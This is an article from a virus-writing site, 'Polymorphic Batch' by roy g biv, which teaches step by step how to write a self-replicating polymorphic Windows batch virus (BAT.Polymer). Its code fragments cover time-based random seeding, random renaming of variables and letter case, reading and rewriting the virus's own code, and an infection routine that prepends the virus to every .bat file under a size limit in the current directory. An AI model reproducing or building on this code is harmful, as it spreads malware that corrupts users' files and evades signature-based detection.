VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Polymorphic Batch

roy g biv
Valhalla #2
December 2011

[Back to index] [Comments]

What is it?

Everyone knows about batch files. Lots of very poor viruses have been written using it. Some of those viruses are even "encrypted", using environment variable tricks (simple text substitution). A few of them can change parts of their code using specially marked lines, find.exe, and output redirection. There has never been a truly polymorphic one... until now.

The language

With the introduction of Windows XP, many things became possible that were impossible previously. Suddenly, we can access substrings, perform search and replace, perform arithmetic, and create complex loops. We can construct random numbers, we can map case randomly, we can change variable names to random strings. Yes, now we can do the same things that script viruses do.


The batch language is clearly not intended to be a programming language. There are many strange behaviours that are difficult to understand, including some things that are not consistent.

Special characters

Certain characters require prepending a "^", otherwise they disappear. In some cases, more than one "^" is required. Examples: ! ) ^ The "%" requires doubling in order to preserve it.


Further parsing occurs when passing a line to a subroutine. Example: "%%" becomes "%". Operators are not passed to subroutines, making it impossible to use a subroutine to examine a line.


Echo always emits a crlf sequence so there is no way to append to same line using it. It is possible to work around this by using a nul redirection.


Blank lines and spaces are removed by tokeniser. Spaces are considered to be token delimiters by default, even inside quotes in "rem" statements.


The "rem" can be after anything except "endif" (single ")" on a line), "set", and "setlocal". These are fun undocumented behaviours.


We cannot use "goto" to a label inside a nested "for" loop, becaues it causes the outer loop to exit on next iteration.


If a ":" appears on the right side of an "if", it causes the operator and the ":" to disappear, resulting in corrupted statements. A "rem" in an "if" that also contains ":~" causes the operator and the ":~" to disappear, and tokens to be concatenated, resulting in corrupted statements. A delayed-expanded variable that is compared to a delayed-expanded variable also causes the operator to disappear and tokens to be concatenated, resulting in corrupted statements.


We cannot place labels inside a "for" loop (even if not used), because it causes a mismatched parenthesis error. We cannot place a blank line after a label, because execution stops with an error.


Probably. After a while, I stopped trying to work out the causes.

RNG Seeding

We can seed a random number generator by using the current time. We write the time to a file, and then tokenise the file to read it back. Then we can use a substring to get the number of minutes, and assign the value to an environment variable. It looks like this:

rem write current time to file "rb"
time /t > rb
rem read file into local variable "%%a"
rem any "AM" or "PM" part will be in "%%b"
for /f "tokens=*" %%a in (rb) do (
        assign %%a to environment variable "_seed"
        set _seed=%%a
rem extract minutes (2 characters starting at position 3)
rem requires "hh:mm" format, but you can change it how you need
rem assign result to environment variable "_seed"
set _seed=!_seed:~3,2!

RNG iterating

Now we have our seed, we can produce more random numbers using arithmentic. Here is our random number subroutine:

        set /a _seed *= 0x343fd
        set /a _seed += 0x269ec3
        set /a _seed = "_seed&0x7fffffff"
        set /a _val1 = "_seed>>16"
        goto :eof

Environment variable "_seed" is updated each time, and result is placed in environment variable "_val1".

Variable renaming

We can change our variable names very easily. We place each one of the old names in environment variables. We place each one of the new names in environment variables. Then for each old name, we use search and replace on each new name. When we write out the lines of code, the new names will be written.

Here is the set of old names:

        set _nameo1=_seed
        set _nameo2=_nameo
        set _nameo3=_namen
        set _nameo4=_alpha

The array of old names should include the base name of the variable that holds the old names and also the new names. If you don't have too many variables, then you can use a single variable that holds all names, and replace in one pass using a loop with delimiters instead.

Here is the code to construct new names:

for /l %%a in (1, 1, 39) do (
        set _out=
        call :randstr
        set _namen%%a=!_out!

Here is the code to replace the names:

for /l %%$ in (1, 1, 39) do (
        set _atok=!_nameo%%$!
        set _btok=!_namen%%$!
        call :repvar !_atok! !_btok!

rem echo/ protects against blank lines causing "echo is off" message

echo/ !_out!>> rc

rem replacement must be done using subroutine

rem else variable corruption occurs
rem "_out" holds a line of code
        set _out=!_out:%1=%2!
        goto :eof

Random case

We can map the case randomly. Almost all labels and tokens can be mapped randomly. There are some exceptions, such as loops, and the parameter to "setlocal". These are case-sensitive and cannot be changed.

To map the case, we need a variable that holds all of the letters, both upper-case and lowercase. It looks like this:

        set _alpha=abcdefghijklmnopqrstuvwxyzrgbrgbABCDEFGHIJKLMNOPQRSTUVWXYZ

Here the first alphabet is extended to 32 bytes each so that we can use & 63 and index directly with no conditional instructions to check the range. To choose a random character, we can do this:

        call :rnd
        set /a _val1 = "_val1&63"
        set _out=!_alpha:~%_val1%,1!

If the second alphabet is not 32 bytes long, then an out-of-bounds index will return an empty character. That can be useful for other things.

Random space

Since the space character is discarded during tokenising, even from "set" instructions, we have to take special action to emit it. We can place it in a environment variable and it will be assigned properly. However, we have to use the environment variable in order to access it. We cannot write spaces directly.


This is all useless if we can't write our modified code to a new file. We can read our code using a loop, one line at a time to a temporary file (and stop reading when we see the host code). We can read the line back one token at a time. We can examine the tokens, modify the tokens, and then write the result to another temporary file. Then we can attach that file to other files. Here is how we read our code one line at a time:

rem allow create first temporary file
del rb
rem tokenise file "%0", each line is stored in local variable "%%a"
for /f "tokens=*" %%a in ( %~nx0 ) do (
        rem write each line to temporary file
        rem it might be possible to work with a single line at a time
        rem but I did not succeed with that, so I need whole file first
        echo/ %%a>> rb

        rem watch for start of host code

        rem marker can be anything, here last 4 characters are checked
        set _xtok=%%a
        if /i "!_xtok:~-4!" == "host" (
                goto :parse

Here is how we read the line back one token at a time:

        rem allow create second temporary file
        del rc

        rem read the line from file "rb"

        for /f "tokens=*" %%# in (rb) do (
                rem split into tokens "%%a", "%%b", "%%c" ... "%%z"
                for /f "tokens=1-26" %%a in ( "%%#" ) do (
                        set _atok=%%a

                        if /i "!_atok!" == "echo" (

and so on. We must parse the tokens in order to modify them. This is the hardest part of the code, and also makes the code very large.

Missing tokens

Since tokenising the line causes some things to disappear, we need a way to reconstruct the line. I used a special "rem" line for this, which describes how the line was supposed to look. When the parser sees the special "rem" line, it builds the line again and writes that instead. It looks like this:

rem _#x_seed#c~3,2#x

produces "!_seed:~3,2!". Or this:

rem _#x_nameo#p#pa#c~0,1#x#x_out#x

produces "!_nameo%%a:~0,1!!_out!". How about this:

rem _#x_out#x#t#t#x#x_prev2#x#t#t#x#x_btok#c~-2#x

produces "!_out!^^!!_prev2!^^!!_btok:~-2!". :)

File size

Since the resulting file will be very large, and since batch files are limited to 64kb in size, we must check the size before attempting to infect.

rem find the file named "rc"
for %%a in (rc) do (
        rem place file size in environment variable "_s1".
        set _s1=%%~za

rem find all batch files in the current directory

for %%a in (*.bat) do (
        rem place each file size in environment variable "_s2".
        set _s2=%%~za
        rem sum the sizes
        set /a _s2 += _s1

        rem check result for less than 60000

        if "!_s2!" lss "60000" (
                set _atok=%%a
                rem infect it
                call :inf !_atok!

goto :eof

        rem read a line from the target file
        for /f "tokens=*" %%b in ( %1 ) do (
                set _atok=%%b

                rem check for infection marker

                rem 2 characters starting at position 1
                rem here marker is first line is "if"
                if /i "!_atok:~1,2!" neq "if" (
                        rem rename host to temporary name
                        ren %1 rb
                        rem prepend us to original filename
                        rem cannot prepend to existing file
                        rem because file will be overwritten instead
                        copy rc + rb %1
                        del rb

                rem break loop after one line

                goto :eof

All done

Once we put all of that together, we have something like BAT.Polymer. :)

Greets to friendly people (A-Z):

Active - Benny - herm1t - hh86 - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

rgb/defjam dec 2011
[email protected]
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka